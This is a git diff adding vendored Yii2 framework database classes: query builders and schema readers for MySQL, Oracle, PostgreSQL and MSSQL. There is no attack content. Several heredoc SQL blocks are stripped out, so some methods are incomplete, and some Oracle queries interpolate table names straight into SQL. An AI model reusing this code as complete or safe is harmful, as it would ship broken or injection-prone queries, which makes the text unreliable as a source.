<<db->createCommand($sql, [':tableName' => $table->name])->queryAll(); + $table->foreignKeys = []; + foreach ($rows as $row) { + $table->foreignKeys[] = [$row['uq_table_name'], $row['fk_column_name'] => $row['uq_column_name']]; + } + } + + /** + * Returns all table names in the database. + * @param string $schema the schema of the tables. Defaults to empty string, meaning the current or default schema. + * @return array all table names in the database. The names have NO schema name prefix. + */ + protected function findTableNames($schema = '') + { + if ($schema === '') { + $schema = $this->defaultSchema; + } + + $sql = <<db->createCommand($sql, [':schema' => $schema])->queryColumn(); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/SqlsrvPDO.php b/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/SqlsrvPDO.php new file mode 100644 index 00000000..ade96c01 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/SqlsrvPDO.php @@ -0,0 +1,33 @@ + + * @since 2.0 + */ +class SqlsrvPDO extends \PDO +{ + /** + * Returns value of the last inserted ID. + * + * SQLSRV driver implements [[PDO::lastInsertId()]] method but with a single peculiarity: + * when `$sequence` value is a null or an empty string it returns an empty string. + * But when parameter is not specified it works as expected and returns actual + * last inserted ID (like the other PDO drivers). + * @param string|null $sequence the sequence name. Defaults to null. + * @return integer last inserted ID value. + */ + public function lastInsertId($sequence = null) + { + return !$sequence ? parent::lastInsertId() : parent::lastInsertId($sequence); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/TableSchema.php b/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/TableSchema.php new file mode 100644 index 00000000..05268ea3 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/mssql/TableSchema.php @@ -0,0 +1,23 @@ + + * @since 2.0 + */ +class TableSchema extends \yii\db\TableSchema +{ + /** + * @var string name of the catalog (database) that this table belongs to. + * Defaults to null, meaning no catalog (or the current database). + */ + public $catalogName; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/mysql/QueryBuilder.php b/php/yii2/basic/vendor/yiisoft/yii2/db/mysql/QueryBuilder.php new file mode 100644 index 00000000..1f93e020 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/mysql/QueryBuilder.php @@ -0,0 +1,166 @@ + + * @since 2.0 + */ +class QueryBuilder extends \yii\db\QueryBuilder +{ + /** + * @var array mapping from abstract column types (keys) to physical column types (values). + */ + public $typeMap = [ + Schema::TYPE_PK => 'int(11) NOT NULL AUTO_INCREMENT PRIMARY KEY', + Schema::TYPE_BIGPK => 'bigint(20) NOT NULL AUTO_INCREMENT PRIMARY KEY', + Schema::TYPE_STRING => 'varchar(255)', + Schema::TYPE_TEXT => 'text', + Schema::TYPE_SMALLINT => 'smallint(6)', + Schema::TYPE_INTEGER => 'int(11)', + Schema::TYPE_BIGINT => 'bigint(20)', + Schema::TYPE_FLOAT => 'float', + Schema::TYPE_DECIMAL => 'decimal(10,0)', + Schema::TYPE_DATETIME => 'datetime', + Schema::TYPE_TIMESTAMP => 'timestamp', + Schema::TYPE_TIME => 'time', + Schema::TYPE_DATE => 'date', + Schema::TYPE_BINARY => 'blob', + Schema::TYPE_BOOLEAN => 'tinyint(1)', + Schema::TYPE_MONEY => 'decimal(19,4)', + ]; + + + /** + * Builds a SQL statement for renaming a column. + * @param string $table the table whose column is to be renamed. The name will be properly quoted by the method. + * @param string $oldName the old name of the column. The name will be properly quoted by the method. + * @param string $newName the new name of the column. The name will be properly quoted by the method. + * @return string the SQL statement for renaming a DB column. + * @throws Exception + */ + public function renameColumn($table, $oldName, $newName) + { + $quotedTable = $this->db->quoteTableName($table); + $row = $this->db->createCommand('SHOW CREATE TABLE ' . $quotedTable)->queryOne(); + if ($row === false) { + throw new Exception("Unable to find column '$oldName' in table '$table'."); + } + if (isset($row['Create Table'])) { + $sql = $row['Create Table']; + } else { + $row = array_values($row); + $sql = $row[1]; + } + if (preg_match_all('/^\s*`(.*?)`\s+(.*?),?$/m', $sql, $matches)) { + foreach ($matches[1] as $i => $c) { + if ($c === $oldName) { + return "ALTER TABLE $quotedTable CHANGE " + . $this->db->quoteColumnName($oldName) . ' ' + . $this->db->quoteColumnName($newName) . ' ' + . $matches[2][$i]; + } + } + } + // try to give back a SQL anyway + return "ALTER TABLE $quotedTable CHANGE " + . $this->db->quoteColumnName($oldName) . ' ' + . $this->db->quoteColumnName($newName); + } + + /** + * Builds a SQL statement for dropping a foreign key constraint. + * @param string $name the name of the foreign key constraint to be dropped. The name will be properly quoted by the method. + * @param string $table the table whose foreign is to be dropped. The name will be properly quoted by the method. + * @return string the SQL statement for dropping a foreign key constraint. + */ + public function dropForeignKey($name, $table) + { + return 'ALTER TABLE ' . $this->db->quoteTableName($table) + . ' DROP FOREIGN KEY ' . $this->db->quoteColumnName($name); + } + + /** + * Builds a SQL statement for removing a primary key constraint to an existing table. + * @param string $name the name of the primary key constraint to be removed. + * @param string $table the table that the primary key constraint will be removed from. + * @return string the SQL statement for removing a primary key constraint from an existing table. + */ + public function dropPrimaryKey($name, $table) + { + return 'ALTER TABLE ' . $this->db->quoteTableName($table) . ' DROP PRIMARY KEY'; + } + + /** + * Creates a SQL statement for resetting the sequence value of a table's primary key. + * The sequence will be reset such that the primary key of the next new row inserted + * will have the specified value or 1. + * @param string $tableName the name of the table whose primary key sequence will be reset + * @param mixed $value the value for the primary key of the next new row inserted. If this is not set, + * the next new row's primary key will have a value 1. + * @return string the SQL statement for resetting sequence + * @throws InvalidParamException if the table does not exist or there is no sequence associated with the table. + */ + public function resetSequence($tableName, $value = null) + { + $table = $this->db->getTableSchema($tableName); + if ($table !== null && $table->sequenceName !== null) { + $tableName = $this->db->quoteTableName($tableName); + if ($value === null) { + $key = reset($table->primaryKey); + $value = $this->db->createCommand("SELECT MAX(`$key`) FROM $tableName")->queryScalar() + 1; + } else { + $value = (int) $value; + } + + return "ALTER TABLE $tableName AUTO_INCREMENT=$value"; + } elseif ($table === null) { + throw new InvalidParamException("Table not found: $tableName"); + } else { + throw new InvalidParamException("There is no sequence associated with table '$tableName'."); + } + } + + /** + * Builds a SQL statement for enabling or disabling integrity check. + * @param boolean $check whether to turn on or off the integrity check. + * @param string $table the table name. Meaningless for MySQL. + * @param string $schema the schema of the tables. Meaningless for MySQL. + * @return string the SQL statement for checking integrity + */ + public function checkIntegrity($check = true, $schema = '', $table = '') + { + return 'SET FOREIGN_KEY_CHECKS = ' . ($check ? 1 : 0); + } + + /** + * @inheritdoc + */ + public function buildLimit($limit, $offset) + { + $sql = ''; + if ($this->hasLimit($limit)) { + $sql = 'LIMIT ' . $limit; + if ($this->hasOffset($offset)) { + $sql .= ' OFFSET ' . $offset; + } + } elseif ($this->hasOffset($offset)) { + // limit is not optional in MySQL + // http://stackoverflow.com/a/271650/1106908 + // http://dev.mysql.com/doc/refman/5.0/en/select.html#idm47619502796240 + $sql = "LIMIT $offset, 18446744073709551615"; // 2^64-1 + } + + return $sql; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/mysql/Schema.php b/php/yii2/basic/vendor/yiisoft/yii2/db/mysql/Schema.php new file mode 100644 index 00000000..80e11a1a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/mysql/Schema.php @@ -0,0 +1,307 @@ + + * @since 2.0 + */ +class Schema extends \yii\db\Schema +{ + /** + * @var array mapping from physical column types (keys) to abstract column types (values) + */ + public $typeMap = [ + 'tinyint' => self::TYPE_SMALLINT, + 'bit' => self::TYPE_INTEGER, + 'smallint' => self::TYPE_SMALLINT, + 'mediumint' => self::TYPE_INTEGER, + 'int' => self::TYPE_INTEGER, + 'integer' => self::TYPE_INTEGER, + 'bigint' => self::TYPE_BIGINT, + 'float' => self::TYPE_FLOAT, + 'double' => self::TYPE_FLOAT, + 'real' => self::TYPE_FLOAT, + 'decimal' => self::TYPE_DECIMAL, + 'numeric' => self::TYPE_DECIMAL, + 'tinytext' => self::TYPE_TEXT, + 'mediumtext' => self::TYPE_TEXT, + 'longtext' => self::TYPE_TEXT, + 'longblob' => self::TYPE_BINARY, + 'blob' => self::TYPE_BINARY, + 'text' => self::TYPE_TEXT, + 'varchar' => self::TYPE_STRING, + 'string' => self::TYPE_STRING, + 'char' => self::TYPE_STRING, + 'datetime' => self::TYPE_DATETIME, + 'year' => self::TYPE_DATE, + 'date' => self::TYPE_DATE, + 'time' => self::TYPE_TIME, + 'timestamp' => self::TYPE_TIMESTAMP, + 'enum' => self::TYPE_STRING, + ]; + + + /** + * Quotes a table name for use in a query. + * A simple table name has no schema prefix. + * @param string $name table name + * @return string the properly quoted table name + */ + public function quoteSimpleTableName($name) + { + return strpos($name, "`") !== false ? $name : "`" . $name . "`"; + } + + /** + * Quotes a column name for use in a query. + * A simple column name has no prefix. + * @param string $name column name + * @return string the properly quoted column name + */ + public function quoteSimpleColumnName($name) + { + return strpos($name, '`') !== false || $name === '*' ? $name : '`' . $name . '`'; + } + + /** + * Creates a query builder for the MySQL database. + * @return QueryBuilder query builder instance + */ + public function createQueryBuilder() + { + return new QueryBuilder($this->db); + } + + /** + * Loads the metadata for the specified table. + * @param string $name table name + * @return TableSchema driver dependent table metadata. Null if the table does not exist. + */ + protected function loadTableSchema($name) + { + $table = new TableSchema; + $this->resolveTableNames($table, $name); + + if ($this->findColumns($table)) { + $this->findConstraints($table); + + return $table; + } else { + return null; + } + } + + /** + * Resolves the table name and schema name (if any). + * @param TableSchema $table the table metadata object + * @param string $name the table name + */ + protected function resolveTableNames($table, $name) + { + $parts = explode('.', str_replace('`', '', $name)); + if (isset($parts[1])) { + $table->schemaName = $parts[0]; + $table->name = $parts[1]; + $table->fullName = $table->schemaName . '.' . $table->name; + } else { + $table->fullName = $table->name = $parts[0]; + } + } + + /** + * Loads the column information into a [[ColumnSchema]] object. + * @param array $info column information + * @return ColumnSchema the column schema object + */ + protected function loadColumnSchema($info) + { + $column = $this->createColumnSchema(); + + $column->name = $info['Field']; + $column->allowNull = $info['Null'] === 'YES'; + $column->isPrimaryKey = strpos($info['Key'], 'PRI') !== false; + $column->autoIncrement = stripos($info['Extra'], 'auto_increment') !== false; + $column->comment = $info['Comment']; + + $column->dbType = $info['Type']; + $column->unsigned = stripos($column->dbType, 'unsigned') !== false; + + $column->type = self::TYPE_STRING; + if (preg_match('/^(\w+)(?:\(([^\)]+)\))?/', $column->dbType, $matches)) { + $type = strtolower($matches[1]); + if (isset($this->typeMap[$type])) { + $column->type = $this->typeMap[$type]; + } + if (!empty($matches[2])) { + if ($type === 'enum') { + $values = explode(',', $matches[2]); + foreach ($values as $i => $value) { + $values[$i] = trim($value, "'"); + } + $column->enumValues = $values; + } else { + $values = explode(',', $matches[2]); + $column->size = $column->precision = (int) $values[0]; + if (isset($values[1])) { + $column->scale = (int) $values[1]; + } + if ($column->size === 1 && $type === 'bit') { + $column->type = 'boolean'; + } elseif ($type === 'bit') { + if ($column->size > 32) { + $column->type = 'bigint'; + } elseif ($column->size === 32) { + $column->type = 'integer'; + } + } + } + } + } + + $column->phpType = $this->getColumnPhpType($column); + + if (!$column->isPrimaryKey) { + if ($column->type === 'timestamp' && $info['Default'] === 'CURRENT_TIMESTAMP') { + $column->defaultValue = new Expression('CURRENT_TIMESTAMP'); + } elseif (isset($type) && $type === 'bit') { + $column->defaultValue = bindec(trim($info['Default'],'b\'')); + } else { + $column->defaultValue = $column->phpTypecast($info['Default']); + } + } + + return $column; + } + + /** + * Collects the metadata of table columns. + * @param TableSchema $table the table metadata + * @return boolean whether the table exists in the database + * @throws \Exception if DB query fails + */ + protected function findColumns($table) + { + $sql = 'SHOW FULL COLUMNS FROM ' . $this->quoteTableName($table->fullName); + try { + $columns = $this->db->createCommand($sql)->queryAll(); + } catch (\Exception $e) { + $previous = $e->getPrevious(); + if ($previous instanceof \PDOException && strpos($previous->getMessage(), 'SQLSTATE[42S02') !== false) { + // table does not exist + // https://dev.mysql.com/doc/refman/5.5/en/error-messages-server.html#error_er_bad_table_error + return false; + } + throw $e; + } + foreach ($columns as $info) { + $column = $this->loadColumnSchema($info); + $table->columns[$column->name] = $column; + if ($column->isPrimaryKey) { + $table->primaryKey[] = $column->name; + if ($column->autoIncrement) { + $table->sequenceName = ''; + } + } + } + + return true; + } + + /** + * Gets the CREATE TABLE sql string. + * @param TableSchema $table the table metadata + * @return string $sql the result of 'SHOW CREATE TABLE' + */ + protected function getCreateTableSql($table) + { + $row = $this->db->createCommand('SHOW CREATE TABLE ' . $this->quoteTableName($table->fullName))->queryOne(); + if (isset($row['Create Table'])) { + $sql = $row['Create Table']; + } else { + $row = array_values($row); + $sql = $row[1]; + } + + return $sql; + } + + /** + * Collects the foreign key column details for the given table. + * @param TableSchema $table the table metadata + */ + protected function findConstraints($table) + { + $sql = $this->getCreateTableSql($table); + + $regexp = '/FOREIGN KEY\s+\(([^\)]+)\)\s+REFERENCES\s+([^\(^\s]+)\s*\(([^\)]+)\)/mi'; + if (preg_match_all($regexp, $sql, $matches, PREG_SET_ORDER)) { + foreach ($matches as $match) { + $fks = array_map('trim', explode(',', str_replace('`', '', $match[1]))); + $pks = array_map('trim', explode(',', str_replace('`', '', $match[3]))); + $constraint = [str_replace('`', '', $match[2])]; + foreach ($fks as $k => $name) { + $constraint[$name] = $pks[$k]; + } + $table->foreignKeys[] = $constraint; + } + } + } + + /** + * Returns all unique indexes for the given table. + * Each array element is of the following structure: + * + * ~~~ + * [ + * 'IndexName1' => ['col1' [, ...]], + * 'IndexName2' => ['col2' [, ...]], + * ] + * ~~~ + * + * @param TableSchema $table the table metadata + * @return array all unique indexes for the given table. + */ + public function findUniqueIndexes($table) + { + $sql = $this->getCreateTableSql($table); + $uniqueIndexes = []; + + $regexp = '/UNIQUE KEY\s+([^\(\s]+)\s*\(([^\(\)]+)\)/mi'; + if (preg_match_all($regexp, $sql, $matches, PREG_SET_ORDER)) { + foreach ($matches as $match) { + $indexName = str_replace('`', '', $match[1]); + $indexColumns = array_map('trim', explode(',', str_replace('`', '', $match[2]))); + $uniqueIndexes[$indexName] = $indexColumns; + } + } + + return $uniqueIndexes; + } + + /** + * Returns all table names in the database. + * @param string $schema the schema of the tables. Defaults to empty string, meaning the current or default schema. + * @return array all table names in the database. The names have NO schema name prefix. + */ + protected function findTableNames($schema = '') + { + $sql = 'SHOW TABLES'; + if ($schema !== '') { + $sql .= ' FROM ' . $this->quoteSimpleTableName($schema); + } + + return $this->db->createCommand($sql)->queryColumn(); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/oci/QueryBuilder.php b/php/yii2/basic/vendor/yiisoft/yii2/db/oci/QueryBuilder.php new file mode 100644 index 00000000..d3f20eb4 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/oci/QueryBuilder.php @@ -0,0 +1,141 @@ + + * @since 2.0 + */ +class QueryBuilder extends \yii\db\QueryBuilder +{ + /** + * @var array mapping from abstract column types (keys) to physical column types (values). + */ + public $typeMap = [ + Schema::TYPE_PK => 'NUMBER(10) NOT NULL PRIMARY KEY', + Schema::TYPE_BIGPK => 'NUMBER(20) NOT NULL PRIMARY KEY', + Schema::TYPE_STRING => 'VARCHAR2(255)', + Schema::TYPE_TEXT => 'CLOB', + Schema::TYPE_SMALLINT => 'NUMBER(5)', + Schema::TYPE_INTEGER => 'NUMBER(10)', + Schema::TYPE_BIGINT => 'NUMBER(20)', + Schema::TYPE_FLOAT => 'NUMBER', + Schema::TYPE_DECIMAL => 'NUMBER', + Schema::TYPE_DATETIME => 'TIMESTAMP', + Schema::TYPE_TIMESTAMP => 'TIMESTAMP', + Schema::TYPE_TIME => 'TIMESTAMP', + Schema::TYPE_DATE => 'DATE', + Schema::TYPE_BINARY => 'BLOB', + Schema::TYPE_BOOLEAN => 'NUMBER(1)', + Schema::TYPE_MONEY => 'NUMBER(19,4)', + ]; + + + /** + * @inheritdoc + */ + public function buildOrderByAndLimit($sql, $orderBy, $limit, $offset) + { + $orderBy = $this->buildOrderBy($orderBy); + if ($orderBy !== '') { + $sql .= $this->separator . $orderBy; + } + + $filters = []; + if ($this->hasOffset($offset)) { + $filters[] = 'rowNumId > ' . $offset; + } + if ($this->hasLimit($limit)) { + $filters[] = 'rownum <= ' . $limit; + } + if (empty($filters)) { + return $sql; + } + + $filter = implode(' AND ', $filters); + return <<db->quoteTableName($table) . ' RENAME TO ' . $this->db->quoteTableName($newName); + } + + /** + * Builds a SQL statement for changing the definition of a column. + * + * @param string $table the table whose column is to be changed. The table name will be properly quoted by the method. + * @param string $column the name of the column to be changed. The name will be properly quoted by the method. + * @param string $type the new column type. The [[getColumnType]] method will be invoked to convert abstract column type (if any) + * into the physical one. Anything that is not recognized as abstract type will be kept in the generated SQL. + * For example, 'string' will be turned into 'varchar(255)', while 'string not null' will become 'varchar(255) not null'. + * @return string the SQL statement for changing the definition of a column. + */ + public function alterColumn($table, $column, $type) + { + $type = $this->getColumnType($type); + + return 'ALTER TABLE ' . $this->db->quoteTableName($table) . ' MODIFY ' . $this->db->quoteColumnName($column) . ' ' . $this->getColumnType($type); + } + + /** + * Builds a SQL statement for dropping an index. + * + * @param string $name the name of the index to be dropped. The name will be properly quoted by the method. + * @param string $table the table whose index is to be dropped. The name will be properly quoted by the method. + * @return string the SQL statement for dropping an index. + */ + public function dropIndex($name, $table) + { + return 'DROP INDEX ' . $this->db->quoteTableName($name); + } + + /** + * @inheritdoc + */ + public function resetSequence($table, $value = null) + { + $tableSchema = $this->db->getTableSchema($table); + if ($tableSchema === null) { + throw new InvalidParamException("Unknown table: $table"); + } + if ($tableSchema->sequenceName === null) { + return ''; + } + + if ($value !== null) { + $value = (int) $value; + } else { + // use master connection to get the biggest PK value + $value = $this->db->useMaster(function (Connection $db) use ($tableSchema) { + return $db->createCommand("SELECT MAX(\"{$tableSchema->primaryKey}\") FROM \"{$tableSchema->name}\"")->queryScalar(); + }) + 1; + } + + return "DROP SEQUENCE \"{$tableSchema->name}_SEQ\";" + . "CREATE SEQUENCE \"{$tableSchema->name}_SEQ\" START WITH {$value} INCREMENT BY 1 NOMAXVALUE NOCACHE"; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/oci/Schema.php b/php/yii2/basic/vendor/yiisoft/yii2/db/oci/Schema.php new file mode 100644 index 00000000..5a1617df --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/oci/Schema.php @@ -0,0 +1,321 @@ + + * @since 2.0 + */ +class Schema extends \yii\db\Schema +{ + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if ($this->defaultSchema === null) { + $this->defaultSchema = strtoupper($this->db->username); + } + } + + /** + * @inheritdoc + */ + public function releaseSavepoint($name) + { + // does nothing as Oracle does not support this + } + + /** + * @inheritdoc + */ + public function quoteSimpleTableName($name) + { + return strpos($name, '"') !== false ? $name : '"' . $name . '"'; + } + + /** + * @inheritdoc + */ + public function createQueryBuilder() + { + return new QueryBuilder($this->db); + } + + /** + * @inheritdoc + */ + public function loadTableSchema($name) + { + $table = new TableSchema(); + $this->resolveTableNames($table, $name); + + if ($this->findColumns($table)) { + $this->findConstraints($table); + + return $table; + } else { + return null; + } + } + + /** + * Resolves the table name and schema name (if any). + * + * @param TableSchema $table the table metadata object + * @param string $name the table name + */ + protected function resolveTableNames($table, $name) + { + $parts = explode('.', str_replace('"', '', $name)); + if (isset($parts[1])) { + $table->schemaName = $parts[0]; + $table->name = $parts[1]; + } else { + $table->schemaName = $this->defaultSchema; + $table->name = $name; + } + + $table->fullName = $table->schemaName !== $this->defaultSchema ? $table->schemaName . '.' . $table->name : $table->name; + } + + /** + * Collects the table column metadata. + * @param TableSchema $table the table schema + * @return boolean whether the table exists + */ + protected function findColumns($table) + { + $schemaName = $table->schemaName; + $tableName = $table->name; + + $sql = << 0 then ',' || a.data_scale else '' end + || ')' + when data_type = 'DATE' then '' + when data_type = 'NUMBER' then '' + else '(' || to_char(a.data_length) || ')' + end as data_type, + a.nullable, a.data_default, + ( SELECT D.constraint_type + FROM ALL_CONS_COLUMNS C + inner join ALL_constraints D on D.OWNER = C.OWNER and D.constraint_name = C.constraint_name + WHERE C.OWNER = B.OWNER + and C.table_name = B.object_name + and C.column_name = A.column_name + and D.constraint_type = 'P') as Key, + com.comments as column_comment +FROM ALL_TAB_COLUMNS A +inner join ALL_OBJECTS B ON b.owner = a.owner and ltrim(B.OBJECT_NAME) = ltrim(A.TABLE_NAME) +LEFT JOIN all_col_comments com ON (A.owner = com.owner AND A.table_name = com.table_name AND A.column_name = com.column_name) +WHERE + a.owner = '{$schemaName}' + and (b.object_type = 'TABLE' or b.object_type = 'VIEW') + and b.object_name = '{$tableName}' +ORDER by a.column_id +EOD; + + try { + $columns = $this->db->createCommand($sql)->queryAll(); + } catch (\Exception $e) { + return false; + } + + foreach ($columns as $column) { + $c = $this->createColumn($column); + $table->columns[$c->name] = $c; + if ($c->isPrimaryKey) { + $table->primaryKey[] = $c->name; + $table->sequenceName = $this->getTableSequenceName($table->name); + $c->autoIncrement = true; + } + } + return true; + } + + /** + * Sequence name of table + * + * @param $tablename + * @internal param \yii\db\TableSchema $table ->name the table schema + * @return string whether the sequence exists + */ + protected function getTableSequenceName($tablename){ + + $seq_name_sql="select ud.referenced_name as sequence_name + from user_dependencies ud + join user_triggers ut on (ut.trigger_name = ud.name) + where ut.table_name='{$tablename}' + and ud.type='TRIGGER' + and ud.referenced_type='SEQUENCE'"; + return $this->db->createCommand($seq_name_sql)->queryScalar(); + } + + /** + * @Overrides method in class 'Schema' + * @see http://www.php.net/manual/en/function.PDO-lastInsertId.php -> Oracle does not support this + * + * Returns the ID of the last inserted row or sequence value. + * @param string $sequenceName name of the sequence object (required by some DBMS) + * @return string the row ID of the last row inserted, or the last value retrieved from the sequence object + * @throws InvalidCallException if the DB connection is not active + */ + public function getLastInsertID($sequenceName = '') + { + if ($this->db->isActive) { + // get the last insert id from the master connection + return $this->db->useMaster(function (Connection $db) use ($sequenceName) { + return $db->createCommand("SELECT {$sequenceName}.CURRVAL FROM DUAL")->queryScalar(); + }); + } else { + throw new InvalidCallException('DB Connection is not active.'); + } + } + + /** + * Creates ColumnSchema instance + * + * @param array $column + * @return ColumnSchema + */ + protected function createColumn($column) + { + $c = $this->createColumnSchema(); + $c->name = $column['COLUMN_NAME']; + $c->allowNull = $column['NULLABLE'] === 'Y'; + $c->isPrimaryKey = strpos($column['KEY'], 'P') !== false; + $c->comment = $column['COLUMN_COMMENT'] === null ? '' : $column['COLUMN_COMMENT']; + + $this->extractColumnType($c, $column['DATA_TYPE']); + $this->extractColumnSize($c, $column['DATA_TYPE']); + + if (!$c->isPrimaryKey) { + if (stripos($column['DATA_DEFAULT'], 'timestamp') !== false) { + $c->defaultValue = null; + } else { + $c->defaultValue = $c->phpTypecast($column['DATA_DEFAULT']); + } + } + + return $c; + } + + /** + * Finds constraints and fills them into TableSchema object passed + * @param TableSchema $table + */ + protected function findConstraints($table) + { + $sql = << 'P' + order by d.constraint_name, c.position +EOD; + $command = $this->db->createCommand($sql); + foreach ($command->queryAll() as $row) { + if ($row['CONSTRAINT_TYPE'] === 'R') { + $name = $row["COLUMN_NAME"]; + $table->foreignKeys[$name] = [$row["TABLE_REF"], $row["COLUMN_REF"]]; + } + } + } + + /** + * @inheritdoc + */ + protected function findTableNames($schema = '') + { + if ($schema === '') { + $sql = <<db->createCommand($sql); + } else { + $sql = <<db->createCommand($sql); + $command->bindParam(':schema', $schema); + } + + $rows = $command->queryAll(); + $names = []; + foreach ($rows as $row) { + $names[] = $row['TABLE_NAME']; + } + + return $names; + } + + /** + * Extracts the data types for the given column + * @param ColumnSchema $column + * @param string $dbType DB type + */ + protected function extractColumnType($column, $dbType) + { + $column->dbType = $dbType; + + if (strpos($dbType, 'FLOAT') !== false) { + $column->type = 'double'; + } elseif (strpos($dbType, 'NUMBER') !== false || strpos($dbType, 'INTEGER') !== false) { + if (strpos($dbType, '(') && preg_match('/\((.*)\)/', $dbType, $matches)) { + $values = explode(',', $matches[1]); + if (isset($values[1]) && (((int) $values[1]) > 0)) { + $column->type = 'double'; + } else { + $column->type = 'integer'; + } + } else { + $column->type = 'double'; + } + } else { + $column->type = 'string'; + } + } + + /** + * Extracts size, precision and scale information from column's DB type. + * @param ColumnSchema $column + * @param string $dbType the column's DB type + */ + protected function extractColumnSize($column, $dbType) + { + if (strpos($dbType, '(') && preg_match('/\((.*)\)/', $dbType, $matches)) { + $values = explode(',', $matches[1]); + $column->size = $column->precision = (int) $values[0]; + if (isset($values[1])) { + $column->scale = (int) $values[1]; + } + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/db/pgsql/QueryBuilder.php b/php/yii2/basic/vendor/yiisoft/yii2/db/pgsql/QueryBuilder.php new file mode 100644 index 00000000..10d7efec --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/db/pgsql/QueryBuilder.php @@ -0,0 +1,203 @@ + + * @since 2.0 + */ +class QueryBuilder extends \yii\db\QueryBuilder +{ + /** + * @var array mapping from abstract column types (keys) to physical column types (values). + */ + public $typeMap = [ + Schema::TYPE_PK => 'serial NOT NULL PRIMARY KEY', + Schema::TYPE_BIGPK => 'bigserial NOT NULL PRIMARY KEY', + Schema::TYPE_STRING => 'varchar(255)', + Schema::TYPE_TEXT => 'text', + Schema::TYPE_SMALLINT => 'smallint', + Schema::TYPE_INTEGER => 'integer', + Schema::TYPE_BIGINT => 'bigint', + Schema::TYPE_FLOAT => 'double precision', + Schema::TYPE_DECIMAL => 'numeric(10,0)', + Schema::TYPE_DATETIME => 'timestamp(0)', + Schema::TYPE_TIMESTAMP => 'timestamp(0)', + Schema::TYPE_TIME => 'time(0)', + Schema::TYPE_DATE => 'date', + Schema::TYPE_BINARY => 'bytea', + Schema::TYPE_BOOLEAN => 'boolean', + Schema::TYPE_MONEY => 'numeric(19,4)', + ]; + + /** + * @var array map of query condition to builder methods. + * These methods are used by [[buildCondition]] to build SQL conditions from array syntax. + */ + protected $conditionBuilders = [ + 'NOT' => 'buildNotCondition', + 'AND' => 'buildAndCondition', + 'OR' => 'buildAndCondition', + 'BETWEEN' => 'buildBetweenCondition', + 'NOT BETWEEN' => 'buildBetweenCondition', + 'IN' => 'buildInCondition', + 'NOT IN' => 'buildInCondition', + 'LIKE' => 'buildLikeCondition', + 'ILIKE' => 'buildLikeCondition', + 'NOT LIKE' => 'buildLikeCondition', + 'NOT ILIKE' => 'buildLikeCondition', + 'OR LIKE' => 'buildLikeCondition', + 'OR ILIKE' => 'buildLikeCondition', + 'OR NOT LIKE' => 'buildLikeCondition', + 'OR NOT ILIKE' => 'buildLikeCondition', + 'EXISTS' => 'buildExistsCondition', + 'NOT EXISTS' => 'buildExistsCondition', + ]; + + + /** + * Builds a SQL statement for dropping an index. + * @param string $name the name of the index to be dropped. The name will be properly quoted by the method. + * @param string $table the table whose index is to be dropped. The name will be properly quoted by the method. + * @return string the SQL statement for dropping an index. + */ + public function dropIndex($name, $table) + { + return 'DROP INDEX ' . $this->db->quoteTableName($name); + } + + /** + * Builds a SQL statement for renaming a DB table. + * @param string $oldName the table to be renamed. The name will be properly quoted by the method. + * @param string $newName the new table name. The name will be properly quoted by the method. + * @return string the SQL statement for renaming a DB table. + */ + public function renameTable($oldName, $newName) + { + return 'ALTER TABLE ' . $this->db->quoteTableName($oldName) . ' RENAME TO ' . $this->db->quoteTableName($newName); + } + + /** + * Creates a SQL statement for resetting the sequence value of a table's primary key. + * The sequence will be reset such that the primary key of the next new row inserted + * will have the specified value or 1. + * @param string $tableName the name of the table whose primary key sequence will be reset + * @param mixed $value the value for the primary key of the next new row inserted. If this is not set, + * the next new row's primary key will have a value 1. + * @return string the SQL statement for resetting sequence + * @throws InvalidParamException if the table does not exist or there is no sequence associated with the table. + */ + public function resetSequence($tableName, $value = null) + { + $table = $this->db->getTableSchema($tableName); + if ($table !== null && $table->sequenceName !== null) { + // c.f. http://www.postgresql.org/docs/8.1/static/functions-sequence.html + $sequence = $this->db->quoteTableName($table->sequenceName); + $tableName = $this->db->quoteTableName($tableName); + if ($value === null) { + $key = reset($table->primaryKey); + $value = "(SELECT COALESCE(MAX(\"{$key}\"),0) FROM {$tableName})+1"; + } else { + $value = (int) $value; + } + + return "SELECT SETVAL('$sequence',$value,false)"; + } elseif ($table === null) { + throw new InvalidParamException("Table not found: $tableName"); + } else { + throw new InvalidParamException("There is not sequence associated with table '$tableName'."); + } + } + + /** + * Builds a SQL statement for enabling or disabling integrity check. + * @param boolean $check whether to turn on or off the integrity check. + * @param string $schema the schema of the tables. + * @param string $table the table name. + * @return string the SQL statement for checking integrity + */ + public function checkIntegrity($check = true, $schema = '', $table = '') + { + $enable = $check ? 'ENABLE' : 'DISABLE'; + $schema = $schema ? $schema : $this->db->getSchema()->defaultSchema; + $tableNames = $table ? [$table] : $this->db->getSchema()->getTableNames($schema); + $command = ''; + + foreach ($tableNames as $tableName) { + $tableName = '"' . $schema . '"."' . $tableName . '"'; + $command .= "ALTER TABLE $tableName $enable TRIGGER ALL; "; + } + + // enable to have ability to alter several tables + $this->db->getMasterPdo()->setAttribute(\PDO::ATTR_EMULATE_PREPARES, true); + + return $command; + } + + /** + * Builds a SQL statement for changing the definition of a column. + * @param string $table the table whose column is to be changed. The table name will be properly quoted by the method. + * @param string $column the name of the column to be changed. The name will be properly quoted by the method. + * @param string $type the new column type. The [[getColumnType()]] method will be invoked to convert abstract + * column type (if any) into the physical one. Anything that is not recognized as abstract type will be kept + * in the generated SQL. For example, 'string' will be turned into 'varchar(255)', while 'string not null' + * will become 'varchar(255) not null'. + * @return string the SQL statement for changing the definition of a column. + */ + public function alterColumn($table, $column, $type) + { + return 'ALTER TABLE ' . $this->db->quoteTableName($table) . ' ALTER COLUMN ' + 